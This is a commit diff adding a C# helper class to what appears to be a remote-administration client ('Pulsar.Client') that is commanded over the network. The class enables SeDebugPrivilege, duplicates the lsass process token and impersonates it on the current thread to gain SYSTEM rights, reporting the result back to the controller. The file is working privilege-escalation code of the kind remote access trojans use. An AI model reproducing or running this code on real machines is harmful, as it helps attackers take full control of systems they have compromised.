initial commit
This commit is contained in:
@@ -0,0 +1,205 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace Pulsar.Client.Helper
|
||||
{
|
||||
public class SystemElevation
|
||||
{
|
||||
private const uint TOKEN_ALL_ACCESS = 0x000F01FF;
|
||||
private const uint TOKEN_DUPLICATE = 0x00000002;
|
||||
private const uint TOKEN_QUERY = 0x00000004;
|
||||
private const int SE_PRIVILEGE_ENABLED = 0x2;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TokPriv1Luid
|
||||
{
|
||||
public int Count;
|
||||
public long Luid;
|
||||
public int Attr;
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool AdjustTokenPrivileges(
|
||||
IntPtr tokenHandle,
|
||||
bool disableAllPrivileges,
|
||||
ref TokPriv1Luid newState,
|
||||
int bufferLength,
|
||||
IntPtr previousState,
|
||||
IntPtr returnLength);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool DuplicateToken(IntPtr existingTokenHandle, int impersonationLevel, out IntPtr duplicateTokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
public static void Elevate(ISender client)
|
||||
{
|
||||
if (!IsAdministrator())
|
||||
{
|
||||
Debug.WriteLine("Run the Command as an Administrator");
|
||||
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
|
||||
return;
|
||||
}
|
||||
|
||||
if (!EnablePrivilege("SeDebugPrivilege"))
|
||||
{
|
||||
Debug.WriteLine("Failed to enable SeDebugPrivilege.");
|
||||
client.Send(new SetStatus { Message = "Failed to enable SeDebugPrivilege." });
|
||||
return;
|
||||
}
|
||||
|
||||
if (!DuplicateAndSetToken())
|
||||
{
|
||||
Debug.WriteLine("Token duplication and impersonation failed.");
|
||||
client.Send(new SetStatus { Message = "Token duplication and impersonation failed." });
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Token duplication and impersonation successful.");
|
||||
client.Send(new SetStatus { Message = "Token duplication and impersonation successful." });
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsAdministrator()
|
||||
{
|
||||
WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
|
||||
return principal.IsInRole(WindowsBuiltInRole.Administrator);
|
||||
}
|
||||
|
||||
private static bool EnablePrivilege(string privilege)
|
||||
{
|
||||
if (!LookupPrivilegeValue(null, privilege, out long luid))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
TokPriv1Luid tpLuid = new TokPriv1Luid
|
||||
{
|
||||
Count = 1,
|
||||
Luid = luid,
|
||||
Attr = SE_PRIVILEGE_ENABLED
|
||||
};
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool DuplicateAndSetToken()
|
||||
{
|
||||
Process lsass = Process.GetProcessesByName("lsass")[0];
|
||||
if (!OpenProcessToken(lsass.Handle, TOKEN_DUPLICATE | TOKEN_QUERY, out IntPtr hLsassToken))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (!DuplicateToken(hLsassToken, 2, out IntPtr duplicateTokenHandle))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
return SetThreadToken(IntPtr.Zero, duplicateTokenHandle);
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(duplicateTokenHandle);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(hLsassToken);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
public static void DeElevate(ISender client)
|
||||
{
|
||||
if (!IsAdministrator())
|
||||
{
|
||||
Debug.WriteLine("Run the Command as an Administrator");
|
||||
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
|
||||
return;
|
||||
}
|
||||
|
||||
if (!DisablePrivilege("SeDebugPrivilege"))
|
||||
{
|
||||
Debug.WriteLine("Failed to disable SeDebugPrivilege.");
|
||||
client.Send(new SetStatus { Message = "Failed to disable SeDebugPrivilege." });
|
||||
return;
|
||||
}
|
||||
|
||||
if (!RevertToSelf())
|
||||
{
|
||||
Debug.WriteLine("Failed to revert to self.");
|
||||
client.Send(new SetStatus { Message = "Failed to revert to self." });
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Reverted to self successfully.");
|
||||
client.Send(new SetStatus { Message = "Reverted to self successfully." });
|
||||
}
|
||||
}
|
||||
|
||||
private static bool DisablePrivilege(string privilege)
|
||||
{
|
||||
if (!LookupPrivilegeValue(null, privilege, out long luid))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
TokPriv1Luid tpLuid = new TokPriv1Luid
|
||||
{
|
||||
Count = 1,
|
||||
Luid = luid,
|
||||
Attr = 0 // Disable the privilege
|
||||
};
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool RevertToSelf();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user